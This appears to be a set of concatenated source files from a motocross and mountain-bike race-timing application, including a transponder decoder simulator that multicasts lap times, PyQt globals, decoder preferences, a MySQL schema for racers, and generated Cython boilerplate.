self.cmd['Stop'] ) # response: [STOP] (even if already stopped) # def setTime( self , cfg ): # Update decoder time of day - also sets running time if decoder # started and config option "Running time to time of decoder" set # command: ESC + 0x48 + [SETTIME] + 't' self.sendCmd( self.cmd['Start']%( cfg ) ) # response: none # def setDate( self, cfg ): # Update decoder date # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' crc = crc16( bytearray( cfg.encode() ) ) self.sendCmd( self.cmd['Set Date']%( cfg, crc ) ) # response: none # def setSTALevel( self, cfg ): # Set detection level on STA channel # command: ESC + 0x1e + [SETLEVEL] self.sendCmd( self.cmd['Set STA Level']%(cfg) ) # response: none # def setBOXLevel( self, cfg ): # Set Detection level on BOX channel # command: ESC + 0x1f + [SETLEVEL] self.sendCmd( self.cmd['Set BOX Level']% ( cfg ) ) # response: none # def statBXX( self, cfg ): # Request status on remote decoder with id specified in B # command: ESC + 0x49 + [B] self.sendCmd( self.cmd['Stat BXX']%( cfg )) # response: (TBC) # def bXXLevel( self ): # Increment all detection levels by 0x10 (Note 2) # command: ESC + 0x4e + 0x2b self.sendCmd( self.cmd['BXX Level'] ) # response: none def sendCmd( self, command): print( command ) def receiveResponse( self, timeout = 0 ): print( timeout ) return '' <file_sep>/Globals.py #!/usr/bin/python3 . ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### #All Globals.... from PyQt5.QtGui import QFont, QColor, QIcon # string formting to concurrents lists C_concurrents_item_fmt = "%4.0d %-12.10s %-15.10s" # string formting to concurrents in monitor C_concurrents_moni_fmt = "%-12.10s %-15.10s" C_concurrents_ID_fmt = "ID_%16.16X" C_concurrents_TP_fmt = "TP_%8.8X" # font used in list C_listFont = QFont() C_listFont.setFamily("Courier New") C_listFont.setPointSize(8) C_listFont.setBold(False) C_listFont.setItalic(False) C_listFont.setWeight(50) C_listFont.setKerning(False) # receiver = {} decoder = {} # dictBestLapMonitor = dict() dictBestLap = dict() dictRace = dict() # Definition for text formating in shell ( bash ) clear_screen = chr(27)+"c" text_black = chr(27)+"[30m" text_red = chr(27)+"[31m" text_green = chr(27)+"[32m" text_blue = chr(27)+"[34m" text_normal = chr(27)+"[27m" text_inverted = chr(27)+"[7m" # max value of time max_time = 0xFFFFFFFF # *********************************************************************************************************************** # * createTime( millis ) # * Format the millis passed in parameter and return a string # * # * Created: 13.03.2018 Y<NAME> # * # *********************************************************************************************************************** def createTime( milli): second = int( ( milli / 1000 ) ) % 60 minute = int( ( milli / 1000 / 60 ) ) % 60 heure = int( ( milli / 1000 / 3600 ) ) %24 # days = int( ( milli / 1000 / 3600 / 24 ) ) %10 milli = int( milli % 1000 ) return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second)+'.'+'{:04d}'.format(milli) def createTimeSeconds( seconds): second = int( ( seconds ) ) % 60 minute = int( ( seconds / 60 ) ) % 60 heure = int( ( seconds / 3600 ) ) %24 # days = int( ( seconds / 3600 / 24 ) ) %10 return '{:0d}'.format(heure)+':'+'{:02d}'.format(minute)+':'+'{:02d}'.format(second) MainWindow = None UserRole = 0x0100 racerList = {} tpRacerList = {} raceDuration = 2*60 raceLaps = 2 # QColor used in software # Changed to dict (13.03.2018) colors = {} colors["Red"] = QColor( 0xff0000 ) colors["Green"] = QColor( 0x00ff00 ) colors["Blue"] = QColor( 0x0000ff ) colors["Cyan"] = QColor( 0x00ffff ) colors["White"] = QColor( 0xffffff ) colors["Violet"] = QColor( 0xff00ff ) colors["Yellow"] = QColor( 0xffff00 ) icons = {} icons["finish flag"] = QIcon() <file_sep>/Preferences.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### class Preferences: decoderList = {} # Flag Infos # 'active' if decoder is active or not # 'class' Type of decoder ( name of the interface class ) # 'type' The type of line, 0 = finish line, other are partial in sequence ! decoderList['sim_Finish'] = { 'active': True, 'port': 10000, 'class': 'simulator', 'type': 0, 'howmany': 24, 'laptime': 30, 'delay': 0, 'auto_assign': True } decoderList['simPartial 1'] = { 'active': True, 'port': 10001, 'class': 'simulator', 'type': 1, 'howmany': 24, 'laptime': 30, 'delay': 10 } decoderList['simPartial 2'] = { 'active': True, 'port': 10002, 'class': 'simulator', 'type': 2, 'howmany': 24, 'laptime': 30, 'delay': 18 } decoderList['finish'] = { 'active': False, 'port': 10010, 'class': 'cano', 'type': 0, 'device': "/dev/ttyUSB0", 'baud': 115200 } decoderList['mw4wd'] = { 'active': False, 'port': 10010, 'class': 'cano', 'type': 0, 'device': "/dev/ttyACM0", 'baud': 115200 } decoderList['partial'] = { 'active': False, 'port': 10030, 'class': 'remote', 'type': 1 } defaultSerialDevice = "/dev/ttyUSB0" dataBase = {} dataBase['host'] = "10.128.255.192" dataBase['user'] = "Chrono" dataBase['pass'] = "<PASSWORD>" dataBase['db'] = "Chrono" <file_sep>/decoder/simulator.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # # 15.03.2018: Modified to have right partial crossing # ###################################################################################### # Decoder interface class to be dinamicaly loaded # # main entry point is member function createThread( self, storage, pref,name ) # # Input: # # storage: Dictionary with all the needed infos # # multi_ip multicast ip # # port the assigned port # # pref: The preferences Dict ( all the settings ) # # name: the class name # # # # Return the task pointer # # the class must be decoder, and not the filename ! # # # ###################################################################################### # Simulator for develloping # # on the preference must provide: # # howmany = Number of transponder to simulate # # laptime = the minimum laptime to simulate # # delay = the minimum delay for partial to simulate, an entry with # # a value of zero (0) is mandatory, to simulate the finish # # line # # auto_assign = if True, the transponder will be assigned automatically # # only mandatory to the Type 0 ( finish line ), other are # # not probed # # # ###################################################################################### from threading import Thread from time import time, sleep import socket import struct from random import randrange import Globals # index in transponder list i_finish = 0 i_laps = 1 i_partial = 2 i_lastline = 3 factor = 1000 # Multiply factor for ticks class decoder(): tp_base = 1000000 # Base number from the transponder, will be incremented transponder = {} # Dict to save the transponder params howmany = 0 # number of transponder to create laptime = 10000000000 # laptime, only set in type = 0 sockets = {} # dict for sockets used list mgroup = {} # dist for multicast group partials = {} # dict for partial theThead = None def createThread(self,d, decoder, name): if self.howmany < decoder['howmany']: self.howmany = decoder['howmany'] i = len( self.transponder ) while len( self.transponder ) < self.howmany: self.transponder[self.tp_base+i] = [] self.transponder[self.tp_base+i].append( # init time start int( time()*factor ) ) self.transponder[self.tp_base+i].append( 0 ) # lapnumber self.transponder[self.tp_base+i].append( {} ) # partial crossing time self.transponder[self.tp_base+i].append( 0 ) # lastline crossing i += 1 type = decoder['type'] delay = decoder['delay']*factor if decoder['type'] == 0 and decoder['auto_assign']: print( "Auto assign Transponder activated") i = 0 rl = Globals.MainWindow.L_racerlist for c in range( 0, rl.count()): t = rl.item(c).data(Globals.UserRole) Globals.racerList[t]['transponder'] = self.tp_base+i Globals.tpRacerList[ Globals.C_concurrents_TP_fmt%( self.tp_base+i ) ] = t i += 1 # if i > self.howmany: # break try: # init the socket self.mgroup[ type ] = (d['multi_ip'],d['port']) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(0.1) ttl = struct.pack('b', 10) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) self.sockets[ type ] = sock except Exception as e: print("in simulator.createThread( socket creation ) got Error") print( e ) if decoder['type'] == 0: # only create Thread on type 0 ( finishline ) self.laptime = decoder['laptime'] * factor # Set the minimum laptime self.theThead = Thread( target=self.decoder, args=(decoder['laptime'], decoder['delay'], d['multi_ip'], d['port'], decoder['type']) ) else: # otherwise simply add the delay in list for t in self.transponder: tp = self.transponder[t] tp[i_partial][type] = tp[i_finish] self.partials[decoder['type']] = delay return self.theThead def decoder(self, laptime, delay, ip, port, type): while(1): # loop forever tc = int(time()*1000) # get timecode tp = randrange( self.tp_base, self.tp_base + len( self.transponder )) # take a random transponder ll = self.transponder[ tp ] # get transponder data ok = False # ok the send datas sp = sorted( self.partials.items() ) # sorted list of partial if ll[i_lastline] == 0: # last was finish if len( self.partials ) == 0: # only finish line, no partial if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end ok = True ll[i_finish] = tc else: # we have partials if ( ll[i_finish] + sp[0][1] ) <= tc: # ok passed the first partial ok = True ll[i_partial][ sp[0][0] ] = tc ll[i_lastline] = sp[0][0] # set the crossing to the first partial elif ll[i_lastline] == sp[ len(sp) - 1 ][0]: # the last was the final partial if ( ll[i_finish] + self.laptime ) <= tc: # ok good to end ok = True ll[i_finish] = tc ll[i_lastline] = 0 # set finish line passed else: # we have more than one partial ap = sp.index( (ll[i_lastline], self.partials[ll[i_lastline]]) ) # get the index of the last partial if ( ll[i_partial][sp[ap][0]] + sp[ap+1][1] ) <= tc: # ok, time is good, we passed it ap += 1 # select next one ll[i_lastline] = sp[ap][0] # set the last passed line ll[i_partial][sp[ap][0]] = tc # update crossing ok = True # #################### if ok: try: message = str(tp) +" " + str( tc ) self.sockets[ll[i_lastline]].sendto(message.encode(), self.mgroup[ll[i_lastline]]) except socket.timeout: print("exception on send multicast") finally: message="" sleep( randrange(50, 500) / factor) exit(0) <file_sep>/commit.sh git add . git commit -m mods -a git push <file_sep>/sql/schema.sql # Schema for saving CREATE DATABASE IF NOT EXISTS Chrono ; USE Chrono; DROP TABLE IF EXISTS Chrono.T_Marques; CREATE TABLE IF NOT EXISTS Chrono.T_Marques ( id INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT, nom VARCHAR(40) NOT NULL UNIQUE ); DROP TABLE IF EXISTS Chrono.T_Concurrents; CREATE TABLE IF NOT EXITS Chrono.T_Concurrents ( id BIGINT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT, numero INT UNSIGNED NOT NULL, nom VARCHAR(80) NOT NULL, prenom VARCHAR(80) NOT NULL, moto INT UNSIGNED , npa VARCHAR(10) , ville VARCHAR(80) , adresse TINYTEXT , pays CHAR(3) , telephone VARCHAR(20) , urgence TINYTEXT , bithday DATE , licences TINYTEXT , remarques TEXT , email TINYTEXT ); # Liste pays iso #DROP TABLE IF EXISTS Chrono.T_Pays; CREATE TABLE IF NOT EXISTS Chrono.T_Pays ( id CHAR(3) NOT NULL PRIMARY KEY, numero INT , nom VARCHAR(100) , display BIT(1) NOT NULL DEFAULT FALSE ); # Liste Code postal #DROP TABLE IF EXISTS Chrono.T_Ville; CREATE TABLE IF NOT EXISTS Chrono.T_Ville ( pays CHAR(3) NOT NULL, nom VARCHAR(50) NOT NULL, npa VARCHAR(10) NOT NULL, canton VARCHAR(50) NOT NULL ); # Liste des differente models de courses DROP TABLE IF EXISTS Chrono.T_ModelCourses; CREATE TABLE IF NOT EXITS Chrono.T_ModelCourses ( id BIGINT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT, sport ENUM ( 'MX','SX','MTB DH', 'MTB XC','MTB 4X', 'RC','KART') , federation VARCHAR(20) , nom VARCHAR(100) NOT NULL, temps TIME NOT NULL, laps INT NOT NULL, remarques TEXT ); <file_sep>/cython/__main__.cc /* Generated by Cython 0.28.1 */ #define PY_SSIZE_T_CLEAN #include "Python.h" #ifndef Py_PYTHON_H #error Python headers needed to compile C extensions, please install development version of Python. #elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) #error Cython requires Python 2.6+ or Python 3.3+. #else #define CYTHON_ABI "0_28_1" #define CYTHON_FUTURE_DIVISION 1 #include <stddef.h> #ifndef offsetof #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) #endif #if !defined(WIN32) && !defined(MS_WINDOWS) #ifndef __stdcall #define __stdcall #endif #ifndef __cdecl #define __cdecl #endif #ifndef __fastcall #define __fastcall #endif #endif #ifndef DL_IMPORT #define DL_IMPORT(t) t #endif #ifndef DL_EXPORT #define DL_EXPORT(t) t #endif #define __PYX_COMMA , #ifndef HAVE_LONG_LONG #if PY_VERSION_HEX >= 0x02070000 #define HAVE_LONG_LONG #endif #endif #ifndef PY_LONG_LONG #define PY_LONG_LONG LONG_LONG #endif #ifndef Py_HUGE_VAL #define Py_HUGE_VAL HUGE_VAL #endif #ifdef PYPY_VERSION #define CYTHON_COMPILING_IN_PYPY 1 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 0 #undef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 0 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #if PY_VERSION_HEX < 0x03050000 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #undef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #undef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 1 #undef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 0 #undef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 0 #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #undef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT 0 #undef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE 0 #elif defined(PYSTON_VERSION) #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 1 #define CYTHON_COMPILING_IN_CPYTHON 0 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #undef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 0 #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #undef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 0 #undef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 0 #undef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT 0 #undef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE 0 #else #define CYTHON_COMPILING_IN_PYPY 0 #define CYTHON_COMPILING_IN_PYSTON 0 #define CYTHON_COMPILING_IN_CPYTHON 1 #ifndef CYTHON_USE_TYPE_SLOTS #define CYTHON_USE_TYPE_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYTYPE_LOOKUP #define CYTHON_USE_PYTYPE_LOOKUP 0 #elif !defined(CYTHON_USE_PYTYPE_LOOKUP) #define CYTHON_USE_PYTYPE_LOOKUP 1 #endif #if PY_MAJOR_VERSION < 3 #undef CYTHON_USE_ASYNC_SLOTS #define CYTHON_USE_ASYNC_SLOTS 0 #elif !defined(CYTHON_USE_ASYNC_SLOTS) #define CYTHON_USE_ASYNC_SLOTS 1 #endif #if PY_VERSION_HEX < 0x02070000 #undef CYTHON_USE_PYLONG_INTERNALS #define CYTHON_USE_PYLONG_INTERNALS 0 #elif !defined(CYTHON_USE_PYLONG_INTERNALS) #define CYTHON_USE_PYLONG_INTERNALS 1 #endif #ifndef CYTHON_USE_PYLIST_INTERNALS #define CYTHON_USE_PYLIST_INTERNALS 1 #endif #ifndef CYTHON_USE_UNICODE_INTERNALS #define CYTHON_USE_UNICODE_INTERNALS 1 #endif #if PY_VERSION_HEX < 0x030300F0 #undef CYTHON_USE_UNICODE_WRITER #define CYTHON_USE_UNICODE_WRITER 0 #elif !defined(CYTHON_USE_UNICODE_WRITER) #define CYTHON_USE_UNICODE_WRITER 1 #endif #ifndef CYTHON_AVOID_BORROWED_REFS #define CYTHON_AVOID_BORROWED_REFS 0 #endif #ifndef CYTHON_ASSUME_SAFE_MACROS #define CYTHON_ASSUME_SAFE_MACROS 1 #endif #ifndef CYTHON_UNPACK_METHODS #define CYTHON_UNPACK_METHODS 1 #endif #ifndef CYTHON_FAST_THREAD_STATE #define CYTHON_FAST_THREAD_STATE 1 #endif #ifndef CYTHON_FAST_PYCALL #define CYTHON_FAST_PYCALL 1 #endif #ifndef CYTHON_PEP489_MULTI_PHASE_INIT #define CYTHON_PEP489_MULTI_PHASE_INIT (0 && PY_VERSION_HEX >= 0x03050000) #endif #ifndef CYTHON_USE_TP_FINALIZE #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1) #endif #endif #if !defined(CYTHON_FAST_PYCCALL) #define CYTHON_FAST_PYCCALL (CYTHON_FAST_PYCALL && PY_VERSION_HEX >= 0x030600B1) #endif #if CYTHON_USE_PYLONG_INTERNALS #include "longintrepr.h" #undef SHIFT #undef BASE #undef MASK #endif #ifndef __has_attribute #define __has_attribute(x) 0 #endif #ifndef __has_cpp_attribute #define __has_cpp_attribute(x) 0 #endif #ifndef CYTHON_RESTRICT #if defined(__GNUC__) #define CYTHON_RESTRICT __restrict__ #elif defined(_MSC_VER) && _MSC_VER >= 1400 #define CYTHON_RESTRICT __restrict #elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L #define CYTHON_RESTRICT restrict #else #define CYTHON_RESTRICT #endif #endif #ifndef CYTHON_UNUSED # if defined(__GNUC__) # if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif # elif defined(__ICC) || (defined(__INTEL_COMPILER) && !defined(_MSC_VER)) # define CYTHON_UNUSED __attribute__ ((__unused__)) # else # define CYTHON_UNUSED # endif #endif #ifndef CYTHON_MAYBE_UNUSED_VAR # if defined(__cplusplus) template<class T> void CYTHON_MAYBE_UNUSED_VAR( const T& ) { } # else # define CYTHON_MAYBE_UNUSED_VAR(x) (void)(x) # endif #endif #ifndef CYTHON_NCP_UNUSED # if CYTHON_COMPILING_IN_CPYTHON # define CYTHON_NCP_UNUSED # else # define CYTHON_NCP_UNUSED CYTHON_UNUSED # endif #endif #define __Pyx_void_to_None(void_result) ((void)(void_result), Py_INCREF(Py_None), Py_None) #ifdef _MSC_VER #ifndef _MSC_STDINT_H_ #if _MSC_VER < 1300 typedef unsigned char uint8_t; typedef unsigned int uint32_t; #else typedef unsigned __int8 uint8_t; typedef unsigned __int32 uint32_t; #endif #endif #else #include <stdint.h> #endif #ifndef CYTHON_FALLTHROUGH #if defined(__cplusplus) && __cplusplus >= 201103L #if __has_cpp_attribute(fallthrough) #define CYTHON_FALLTHROUGH [[fallthrough]] #elif __has_cpp_attribute(clang::fallthrough) #define CYTHON_FALLTHROUGH [[clang::fallthrough]] #elif __has_cpp_attribute(gnu::fallthrough) #define CYTHON_FALLTHROUGH [[gnu::fallthrough]] #endif #endif #ifndef CYTHON_FALLTHROUGH #if __has_attribute(fallthrough) #define CYTHON_FALLTHROUGH __attribute__((fallthrough)) #else #define CYTHON_FALLTHROUGH #endif #endif #if defined(__clang__ ) && defined(__apple_build_version__) #if __apple_build_version__ < 7000000 #undef CYTHON_FALLTHROUGH #define CYTHON_FALLTHROUGH #endif #endif #endif #ifndef __cplusplus #error "Cython files generated with the C++ option must be compiled with a C++ compiler." #endif #ifndef CYTHON_INLINE #if defined(__clang__) #define CYTHON_INLINE __inline__ __attribute__ ((__unused__)) #else #define CYTHON_INLINE inline #endif #endif template<typename T> void __Pyx_call_destructor(T& x) { x.~T(); } template<typename T> class __Pyx_FakeReference { public: __Pyx_FakeReference() : ptr(NULL) { } __Pyx_FakeReference(const T& ref) : ptr(const_cast<T*>(&ref)) { } T *operator->() { return ptr; } T *operator&() { return ptr; } operator T&() { return *ptr; } template<typename U> bool operator ==(U other) { return *ptr == other; } template<typename U> bool operator !=(U other) { return *ptr != other; } private: T *ptr; }; #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) #define Py_OptimizeFlag 0 #endif #define __PYX_BUILD_PY_SSIZE_T "n" #define CYTHON_FORMAT_SSIZE_T "z" #if PY_MAJOR_VERSION < 3 #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyClass_Type #else #define __Pyx_BUILTIN_MODULE_NAME "builtins" #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) #define __Pyx_DefaultClassType PyType_Type #endif #ifndef Py_TPFLAGS_CHECKTYPES #define Py_TPFLAGS_CHECKTYPES 0 #endif #ifndef Py_TPFLAGS_HAVE_INDEX #define Py_TPFLAGS_HAVE_INDEX 0 #endif #ifndef Py_TPFLAGS_HAVE_NEWBUFFER #define Py_TPFLAGS_HAVE_NEWBUFFER 0 #endif #ifndef Py_TPFLAGS_HAVE_FINALIZE #define Py_TPFLAGS_HAVE_FINALIZE 0 #endif #if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) #ifndef METH_FASTCALL #define METH_FASTCALL 0x80 #endif typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, Py_ssize_t nargs, PyObject *kwnames); #else #define __Pyx_PyCFunctionFast _PyCFunctionFast #define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords #endif #if CYTHON_FAST_PYCCALL #define __Pyx_PyFastCFunction_Check(func)\ ((PyCFunction_Check(func) && (METH_FASTCALL == (PyCFunction_GET_FLAGS(func) & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS))))) #else #define __Pyx_PyFastCFunction_Check(func) 0 #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) #define PyObject_Malloc(s) PyMem_Malloc(s) #define PyObject_Free(p) PyMem_Free(p) #define PyObject_Realloc(p) PyMem_Realloc(p) #endif #if CYTHON_COMPILING_IN_PYSTON #define __Pyx_PyCode_HasFreeVars(co) PyCode_HasFreeVars(co) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) PyFrame_SetLineNumber(frame, lineno) #else #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) #endif #if !CYTHON_FAST_THREAD_STATE || PY_VERSION_HEX < 0x02070000 #define __Pyx_PyThreadState_Current PyThreadState_GET() #elif PY_VERSION_HEX >= 0x03060000 #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() #elif PY_VERSION_HEX >= 0x03000000 #define __Pyx_PyThreadState_Current PyThreadState_GET() #else #define __Pyx_PyThreadState_Current _PyThreadState_Current #endif #if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) #include "pythread.h" #define Py_tss_NEEDS_INIT 0 typedef int Py_tss_t; static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { *key = PyThread_create_key(); return 0; // PyThread_create_key reports success always } static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); *key = Py_tss_NEEDS_INIT; return key; } static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { PyObject_Free(key); } static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { return *key != Py_tss_NEEDS_INIT; } static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { PyThread_delete_key(*key); *key = Py_tss_NEEDS_INIT; } static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { return PyThread_set_key_value(*key, value); } static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { return PyThread_get_key_value(*key); } #endif // TSS (Thread Specific Storage) API #if CYTHON_COMPILING_IN_CPYTHON || defined(_PyDict_NewPresized) #define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) #else #define __Pyx_PyDict_NewPresized(n) PyDict_New() #endif #if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) #else #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) #endif #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && CYTHON_USE_UNICODE_INTERNALS #define __Pyx_PyDict_GetItemStr(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) #else #define __Pyx_PyDict_GetItemStr(dict, name) PyDict_GetItem(dict, name) #endif #if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) #define CYTHON_PEP393_ENABLED 1 #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ 0 : _PyUnicode_Ready((PyObject *)(op))) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) #else #define CYTHON_PEP393_ENABLED 0 #define PyUnicode_1BYTE_KIND 1 #define PyUnicode_2BYTE_KIND 2 #define PyUnicode_4BYTE_KIND 4 #define __Pyx_PyUnicode_READY(op) (0) #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535 : 1114111) #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = ch) #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) #endif #if CYTHON_COMPILING_IN_PYPY #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) #else #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) #endif #if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) #endif #define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) #define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None)) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) #if PY_MAJOR_VERSION >= 3 #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) #else #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) #endif #if PY_MAJOR_VERSION < 3 